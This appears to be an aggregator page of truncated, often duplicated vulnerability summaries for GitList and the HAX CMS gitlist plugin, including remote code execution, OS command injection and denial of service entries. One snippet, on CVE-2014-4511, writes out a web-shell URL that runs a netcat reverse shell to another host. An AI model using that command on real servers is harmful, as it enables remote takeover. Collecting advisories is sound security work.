GitList < 0.6.0 Remote Code Execution

klaussilveira GitList version = 0.6 contains a passing incorrectly sanitized input via the searchTree function that can result in remote code execution. id: CVE-2018-1000533 info: name: GitList 0.6.0 Remote Code Execution author: pikpikcu severity: critical description: klaussilveira GitList...

CVE-2018-1000533

GitList 0.6.0 원격 코드 실행 취약점 CVE-2018-1000533 GitList는 현대적인 Git 저장소 뷰어이다. GitList 0.6.0 이하 버전에서는 시스템 함수에 부적절하게 검증된 입력값을 전달하는 취약점이 존재하여, PHP 사용자 권한으로 임의의 명령어를 실행할 수 있다. 환경 구성 GitList 서버 0.6.0을 시작하기 위해 다음 명령을 실행한다. root@kitploit: docker compose up -d poc.py 실행 전 의존성을 설치한다. root@kitploit: pip install...

gitlist-RCE

gitlist-RCE CVE-2014-4511 示例： shell 上传成功后： 访问： http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2026-82669

A vulnerability was detected in klaussilveira GitList 2.0.0. Affected by this issue is the function SimpleXMLElement of the file src/SCM/System/Git/CommandLine.php of the component XML Parsing. Performing a manipulation results in denial of service. The attack is possible to be carried out...

CVE-2026-82668

A security vulnerability has been detected in klaussilveira GitList 2.0.0. Affected by this vulnerability is the function getDefaultBranch of the file src/SCM/System/Git/CommandLine.php of the component Git Command Line. Such manipulation leads to os command injection. The attack can be executed...

CVE-2026-82669 klaussilveira GitList XML Parsing CommandLine.php SimpleXMLElement denial of service

A vulnerability was detected in klaussilveira GitList 2.0.0. Affected by this issue is the function SimpleXMLElement of the file src/SCM/System/Git/CommandLine.php of the component XML Parsing. Performing a manipulation results in denial of service. The attack is possible to be carried out...

EUVD-2026-68453

A vulnerability was detected in klaussilveira GitList 2.0.0. Affected by this issue is the function SimpleXMLElement of the file src/SCM/System/Git/CommandLine.php of the component XML Parsing. Performing a manipulation results in denial of service. The attack is possible to be carried out...

CVE-2026-82669

klaussilveira GitList 2.0.0 is affected by a denial of service vulnerability in the XML Parsing component, specifically the SimpleXMLElement function in src/SCM/System/Git/CommandLine.php. A remote attacker can trigger the flaw with low complexity and no authentication, causing partial availabili...

CVE-2026-82669 klaussilveira GitList XML Parsing CommandLine.php SimpleXMLElement denial of service

A vulnerability was detected in klaussilveira GitList 2.0.0. Affected by this issue is the function SimpleXMLElement of the file src/SCM/System/Git/CommandLine.php of the component XML Parsing. Performing a manipulation results in denial of service. The attack is possible to be carried out...

CVE-2026-82668 klaussilveira GitList Git Command Line CommandLine.php getDefaultBranch os command injection

A security vulnerability has been detected in klaussilveira GitList 2.0.0. Affected by this vulnerability is the function getDefaultBranch of the file src/SCM/System/Git/CommandLine.php of the component Git Command Line. Such manipulation leads to os command injection. The attack can be executed...

CVE-2026-82668

klaussilveira GitList 2.0.0 is affected by an OS command injection vulnerability in the getDefaultBranch function of the Git Command Line component (src/SCM/System/Git/CommandLine.php). The attack is remotely exploitable with no authentication or user interaction required. A proof-of-concept expl...

CVE-2026-82668 klaussilveira GitList Git Command Line CommandLine.php getDefaultBranch os command injection

A security vulnerability has been detected in klaussilveira GitList 2.0.0. Affected by this vulnerability is the function getDefaultBranch of the file src/SCM/System/Git/CommandLine.php of the component Git Command Line. Such manipulation leads to os command injection. The attack can be executed...

PT-2026-83772

Name of the Vulnerable Software and Affected Versions klaussilveira GitList version 2.0.0 Description A remote denial of service can be triggered through the XML Parsing component. The issue resides in the SimpleXMLElement function within the src/SCM/System/Git/CommandLine.php file. Recommendatio...

PT-2026-83764

Name of the Vulnerable Software and Affected Versions klaussilveira GitList version 2.0.0 Description An OS command injection flaw exists in the Git Command Line component. The issue resides within the getDefaultBranch function located in the src/SCM/System/Git/CommandLine.php file, which allows ...

CVE-2026-46390

HAX CMS helps manage microsite universe with PHP or NodeJs backends. Starting in version 2.0.0 and prior to version 26.0.0, the gitlist plugin is exposed to unauthenticated users, allowing unauthenticated browsing of git repositories and git history. Version 26.0.0 patches the issue...

CVE-2026-46390

HAX CMS helps manage microsite universe with PHP or NodeJs backends. Starting in version 2.0.0 and prior to version 26.0.0, the gitlist plugin is exposed to unauthenticated users, allowing unauthenticated browsing of git repositories and git history. Version 26.0.0 patches the issue...

EUVD-2026-34881

HAX CMS helps manage microsite universe with PHP or NodeJs backends. Starting in version 2.0.0 and prior to version 26.0.0, the gitlist plugin is exposed to unauthenticated users, allowing unauthenticated browsing of git repositories and git history. Version 26.0.0 patches the issue...

CVE-2026-46390

HAX CMS helps manage microsite universe with PHP or NodeJs backends. Starting in version 2.0.0 and prior to version 26.0.0, the gitlist plugin is exposed to unauthenticated users, allowing unauthenticated browsing of git repositories and git history. Version 26.0.0 patches the issue...

CVE-2026-46390 HAX CMS has Unauthenticated Git Access via User-Controlled Key

HAX CMS helps manage microsite universe with PHP or NodeJs backends. Starting in version 2.0.0 and prior to version 26.0.0, the gitlist plugin is exposed to unauthenticated users, allowing unauthenticated browsing of git repositories and git history. Version 26.0.0 patches the issue...

CVE-2026-46390

HAX CMS (PHP/Node.js backends) is affected by an unauthenticated access issue in the gitlist plugin. From version 2.0.0 up to, but not including, 26.0.0, the gitlist plugin is exposed to unauthenticated users, enabling browsing of git repositories and git history without authentication. Version 2...